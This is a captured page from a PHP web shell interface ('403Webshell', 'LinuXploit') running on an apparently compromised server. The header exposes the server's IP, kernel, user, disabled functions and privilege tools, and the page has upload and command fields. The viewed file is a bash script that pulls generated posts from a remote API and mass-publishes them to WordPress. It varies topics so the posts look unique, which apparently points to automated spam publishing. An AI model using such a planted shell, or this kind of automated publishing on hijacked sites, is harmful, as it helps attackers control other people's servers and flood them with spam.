403Webshell
Server IP : 64.225.102.56  /  Your IP : 216.73.216.220
Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : auto ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/auto/web/cifisoa.com/public_html/ai/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/auto/web/cifisoa.com/public_html/ai/fetch_and_publish_from_api.sh
#!/usr/bin/env bash
set -euo pipefail

# Загружает JSON постов с удалённого API и публикует в WordPress через WP-CLI
# Параметры seed / variant / niche_hint проксируются в generate_post.php, чтобы темы статей не были копией друг друга.

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"

API_URL=""
COUNT=10
LOCALE="en_US"
WP_PATH="$PROJECT_ROOT"
FIXED_TOPIC=""
TOPIC_MODE="${WPINSTALL_TOPIC_MODE:-preset}"

usage(){
  cat <<'USAGE'
Использование:
  fetch_and_publish_from_api.sh --api-url URL [--count N] [--locale LOCALE] [--wp-path PATH] [--topic "TITLE"]

Пример:
  FETCH_VARIANT=3 WPINSTALL_DOMAIN=example.com WPINSTALL_TOPIC_MODE=niche WPINSTALL_NICHE=travel \\
    fetch_and_publish_from_api.sh --api-url "https://wpinstall.coqymoa.com/generate_post.php" --count 1 --locale en_US --wp-path /www/wwwroot/example.com/ --topic "How to pack light for a weekend trip"
USAGE
}

while [[ $# -gt 0 ]]; do
  case "$1" in
    --api-url) API_URL="$2"; shift 2;;
    --count) COUNT="$2"; shift 2;;
    --locale) LOCALE="$2"; shift 2;;
    --wp-path) WP_PATH="$2"; shift 2;;
    --topic) FIXED_TOPIC="$2"; shift 2;;
    -h|--help) usage; exit 0;;
    *) echo "Неизвестный аргумент: $1" >&2; usage; exit 1;;
  esac
done

if [[ -z "$API_URL" ]]; then
  echo "Нужно указать --api-url" >&2
  exit 1
fi

if ! command -v wp >/dev/null 2>&1; then
  echo "wp-cli не найден в PATH" >&2
  exit 1
fi

pushd "$WP_PATH" >/dev/null

WP_FLAGS=""
if [[ "$(id -u)" -eq 0 ]]; then WP_FLAGS="--allow-root"; fi

TMP_DIR="$(mktemp -d)"
trap 'rm -rf "$TMP_DIR"' EXIT

_domain="${WPINSTALL_DOMAIN:-}"
if [[ -z "$_domain" ]]; then
  _domain="$(basename "$WP_PATH" 2>/dev/null || echo "")"
fi

BASE_FETCH_VARIANT="${FETCH_VARIANT:-}"
if [[ -z "$BASE_FETCH_VARIANT" ]]; then
  BASE_FETCH_VARIANT=$(( $(date +%s%N) % 997 + RANDOM % 100 ))
fi

_hints=(travel food gardening books tech wellbeing budget cooking fitness decor interviews opinion how-to local culture science design family pets career study)

_niche_hint="${WPINSTALL_NICHE:-}"
if [[ -z "$_niche_hint" ]]; then
  ((_hint_ix = BASE_FETCH_VARIANT % ${#_hints[@]}))
  _niche_hint="${_hints[$_hint_ix]}"
fi

_enc() { php -r 'echo rawurlencode(getenv("V"));' V="$1" 2>/dev/null || printf '%s' "$1"; }

build_request_url() {
  local variant="$1"
  local seed="$2"
  local ts="$3"
  local hint="$4"
  local topic="$5"
  local sep='?'
  [[ "$API_URL" == *\?* ]] && sep='&'

  local dom_q=""
  [[ -n "$_domain" ]] && dom_q="$(_enc "$_domain")"
  local hint_q="$(_enc "$hint")"
  local topic_q=""
  [[ -n "$topic" ]] && topic_q="$(_enc "$topic")"
  local mode_q="$(_enc "$TOPIC_MODE")"

  local url="${API_URL}${sep}count=${COUNT}&locale=${LOCALE}"
  url+="&seed=${seed}&t=${ts}&variant=${variant}"
  url+="&mode=${mode_q}"
  [[ -n "$dom_q" ]] && url+="&domain=${dom_q}"
  url+="&niche_hint=${hint_q}"
  [[ -n "$topic_q" ]] && url+="&topic=${topic_q}"
  printf '%s' "$url"
}

fetch_posts() {
  local variant="$1"
  local hint="$2"
  local out="$3"
  local topic="${4:-}"
  local seed ts request_url
  seed="$(openssl rand -hex 14)"
  ts="$(date +%s%N)"
  request_url="$(build_request_url "$variant" "$seed" "$ts" "$hint" "$topic")"

  if [[ -n "$topic" ]]; then
    echo "↓ Запрос к API (${API_URL} … topic=${topic} locale=${LOCALE} variant=${variant})"
  else
    echo "↓ Запрос к API (${API_URL} … count=${COUNT} locale=${LOCALE} variant=${variant} niche_hint=${hint})"
  fi
  curl -fsSL "$request_url" -o "$out"
}

title_exists() {
  local title="$1"
  wp post list --post_type=post --post_status=any --fields=ID,post_title --format=json $WP_FLAGS | php -r '
    $data=json_decode(stream_get_contents(STDIN), true) ?: [];
    $needle=mb_strtolower(trim(getenv("TITLE")));
    foreach($data as $row){
      if(mb_strtolower(trim($row["post_title"] ?? "")) === $needle){ echo "1"; exit; }
    }
  ' TITLE="$title" 2>/dev/null
}

fallback_image_url() {
  local title="$1"
  local variant="$2"
  local seed_base="${_domain:-site}-${variant}-${title}"
  local seed
  seed="$(printf '%s' "$seed_base" | php -r 'echo substr(sha1(stream_get_contents(STDIN)), 0, 16);')"
  printf 'https://picsum.photos/seed/%s/900/600.jpg' "$seed"
}

import_featured_image() {
  local post_id="$1"
  local img_url="$2"
  local attempt_label="$3"
  [[ -z "$img_url" ]] && return 1

  local ct ext basename_san img_file resized att_id
  CT=$(curl -fsSLI "$img_url" | awk -F': ' 'BEGIN{IGNORECASE=1} tolower($1)=="content-type"{print tolower($2); exit}' || true)
  ext=""
  case "$CT" in
    image/jpeg* ) ext=".jpg";;
    image/jpg*  ) ext=".jpg";;
    image/png*  ) ext=".png";;
    image/webp* ) ext=".webp";;
    image/gif*  ) ext=".gif";;
    * ) ext="";;
  esac
  basename_san="$(basename "$img_url" | sed 's/[^A-Za-z0-9._-]/_/g')"
  if [[ ! "$basename_san" =~ \.(jpg|jpeg|png|webp|gif)$ ]] && [[ -n "$ext" ]]; then
    basename_san+="$ext"
  fi
  img_file="$TMP_DIR/${attempt_label}_${basename_san}"
  if ! curl -fsSL "$img_url" -o "$img_file"; then
    return 1
  fi

  resized="$TMP_DIR/resized_${post_id}_${attempt_label}.jpg"
  if command -v convert >/dev/null 2>&1; then
    convert "$img_file" -resize '768x768>' -strip -quality 82 "$resized" || true
  else
    SRC="$img_file" OUT="$resized" php -r '
      $src=getenv("SRC"); $out=getenv("OUT"); if(!$src||!file_exists($src)){exit(0);}
      $info=@getimagesize($src); if(!$info){exit(0);} $w=$info[0]; $h=$info[1]; $max=768;
      if($w<=$max && $h<=$max){exit(0);} $type=$info[2];
      switch($type){
        case IMAGETYPE_JPEG: $im=@imagecreatefromjpeg($src); break;
        case IMAGETYPE_PNG: $im=@imagecreatefrompng($src); break;
        case IMAGETYPE_WEBP: $im=function_exists("imagecreatefromwebp")?@imagecreatefromwebp($src):null; break;
        case IMAGETYPE_GIF: $im=@imagecreatefromgif($src); break;
        default: $im=null; break;
      }
      if(!$im){exit(0);} $ratio=min($max/$w,$max/$h); $nw=(int)($w*$ratio); $nh=(int)($h*$ratio);
      $dst=imagecreatetruecolor($nw,$nh); imagecopyresampled($dst,$im,0,0,0,0,$nw,$nh,$w,$h);
      @imagejpeg($dst,$out,82);
    ' || true
  fi
  if [[ -s "$resized" ]]; then
    img_file="$resized"
  fi

  att_id=$(wp media import "$img_file" --porcelain $WP_FLAGS | tail -n1 | tr -d '\n' || true)
  if [[ -z "${att_id:-}" ]]; then
    return 1
  fi

  wp post meta update "$post_id" _thumbnail_id "$att_id" $WP_FLAGS || return 1
}

RESP_FILE="$TMP_DIR/posts.json"
fetch_posts "$BASE_FETCH_VARIANT" "$_niche_hint" "$RESP_FILE" "$FIXED_TOPIC"

# Ожидаемый формат: { "posts": [ {"title":"...","excerpt":"...","content":"...","tags":[...],"categories":[...],"image_url":"..."}, ... ] }
POSTS_LEN=$(php -r '$_=json_decode(file_get_contents($argv[1]), true); echo is_array($_["posts"]??null)? count($_["posts"]):0;' "$RESP_FILE")
if [[ "${POSTS_LEN:-0}" -le 0 ]]; then
  echo "API вернул пустой список постов" >&2
  cat "$RESP_FILE" >&2 || true
  exit 1
fi

ensure_category(){
  local name="$1"
  local term_id
  term_id=$(wp term list category --fields=term_id,name,slug --format=json $WP_FLAGS | php -r '
    $data=json_decode(stream_get_contents(STDIN), true) ?: [];
    $name=getenv("NAME");
    foreach($data as $row){
      if(($row["name"]??"") === $name){ echo $row["term_id"]; exit; }
      if(($row["slug"]??"") === $name){ echo $row["term_id"]; exit; }
    }' NAME="$name" || true)
  if [[ -n "${term_id:-}" ]]; then echo "$term_id"; return 0; fi
  term_id=$(wp term create category "$name" --porcelain $WP_FLAGS | tr -d '\n' || true)
  if [[ -z "${term_id:-}" ]]; then
    term_id=$(wp term list category --fields=term_id,name,slug --format=json $WP_FLAGS | php -r '
      $data=json_decode(stream_get_contents(STDIN), true) ?: [];
      $name=getenv("NAME");
      foreach($data as $row){
        if(($row["name"]??"") === $name){ echo $row["term_id"]; exit; }
        if(($row["slug"]??"") === $name){ echo $row["term_id"]; exit; }
      }' NAME="$name" || true)
  fi
  if [[ -z "${term_id:-}" ]]; then echo "0"; else echo "$term_id"; fi
}

created=0
for i in $(seq 0 $((POSTS_LEN-1))); do
  variant="$BASE_FETCH_VARIANT"
  POST_JSON=""
  for attempt in 0 1 2 3; do
    if [[ "$attempt" -gt 0 ]]; then
      variant=$(( BASE_FETCH_VARIANT + attempt * 1000 + i ))
      if [[ -z "$FIXED_TOPIC" ]]; then
        ((_hint_ix = (variant + attempt) % ${#_hints[@]}))
        _niche_hint="${_hints[$_hint_ix]}"
      fi
      fetch_posts "$variant" "$_niche_hint" "$RESP_FILE.retry" "$FIXED_TOPIC"
      POST_JSON=$(php -r '$_=json_decode(file_get_contents($argv[1]), true); echo json_encode($_["posts"][0] ?? [], JSON_UNESCAPED_UNICODE);' "$RESP_FILE.retry")
    else
      POST_JSON=$(php -r '$_=json_decode(file_get_contents($argv[1]), true); echo json_encode($_["posts"][ (int)$argv[2] ] ?? [], JSON_UNESCAPED_UNICODE);' "$RESP_FILE" "$i")
    fi

    TITLE=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo $d["title"]??"";')
    if [[ -z "$TITLE" ]]; then
      continue
    fi
    if [[ "$(title_exists "$TITLE")" == "1" ]]; then
      echo "↻ Дубль заголовка, запрашиваю новый вариант: $TITLE"
      continue
    fi
    break
  done

  TITLE=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo $d["title"]??"";')
  EXCERPT=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo $d["excerpt"]??"";')
  CONTENT=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo $d["content"]??"";')
  TAGS=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo isset($d["tags"])&&is_array($d["tags"]) ? implode(",", $d["tags"]) : "";')
  IMG_URL=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo $d["image_url"]??"";')

  if [[ -z "$TITLE" ]] || [[ "$(title_exists "$TITLE")" == "1" ]]; then
    echo "Не удалось получить уникальный заголовок, пост пропущен." >&2
    continue
  fi

  # Категории
  CAT_JSON=$(printf '%s' "$POST_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); echo json_encode($d["categories"]??[], JSON_UNESCAPED_UNICODE);')
  mapfile -t CAT_LIST < <(printf '%s' "$CAT_JSON" | php -r '$d=json_decode(stream_get_contents(STDIN), true); if(is_array($d)){ foreach($d as $v){ echo $v, "\n"; } }')
  CAT_IDS=()
  for cname in "${CAT_LIST[@]:-}"; do
    cname_trimmed="$(printf '%s' "$cname" | sed 's/^\s\+//; s/\s\+$//')"
    [[ -z "$cname_trimmed" ]] && continue
    if [[ "$cname_trimmed" =~ ^[0-9]+$ ]]; then
      if wp term get category "$cname_trimmed" $WP_FLAGS >/dev/null 2>&1; then
        CAT_IDS+=("$cname_trimmed")
      fi
    else
      cid=$(ensure_category "$cname_trimmed")
      [[ "$cid" != "0" ]] && CAT_IDS+=("$cid")
    fi
  done

  POST_ID=$(wp post create \
    --post_title="$TITLE" \
    --post_content="$CONTENT" \
    --post_excerpt="$EXCERPT" \
    --post_status=publish \
    --porcelain $WP_FLAGS | tr -d '\n' || true)
  if [[ -z "${POST_ID:-}" ]]; then
    echo "Не удалось создать пост: $TITLE" >&2
    continue
  fi

  if [[ ${#CAT_IDS[@]} -gt 0 ]]; then
    mapfile -t CAT_IDS_UNIQ < <(printf '%s\n' "${CAT_IDS[@]}" | awk '!x[$0]++')
    wp post term set "$POST_ID" category "${CAT_IDS_UNIQ[@]}" --by=id $WP_FLAGS || true
  fi
  if [[ -n "$TAGS" ]]; then
    wp post term set "$POST_ID" post_tag "$TAGS" $WP_FLAGS || true
  fi

  if ! import_featured_image "$POST_ID" "$IMG_URL" "api"; then
    FALLBACK_IMG_URL="$(fallback_image_url "$TITLE" "$variant")"
    echo "↻ Картинка API недоступна, ставлю fallback featured image."
    import_featured_image "$POST_ID" "$FALLBACK_IMG_URL" "fallback" || echo "⚠️ Не удалось поставить featured image для поста ID $POST_ID" >&2
  fi

  echo "Создан пост ID: $POST_ID — $TITLE"
  created=$((created+1))
done

echo "Готово. Создано постов: $created из $POSTS_LEN"

popd >/dev/null

Youez - 2016 - github.com/yon3zu
LinuXploit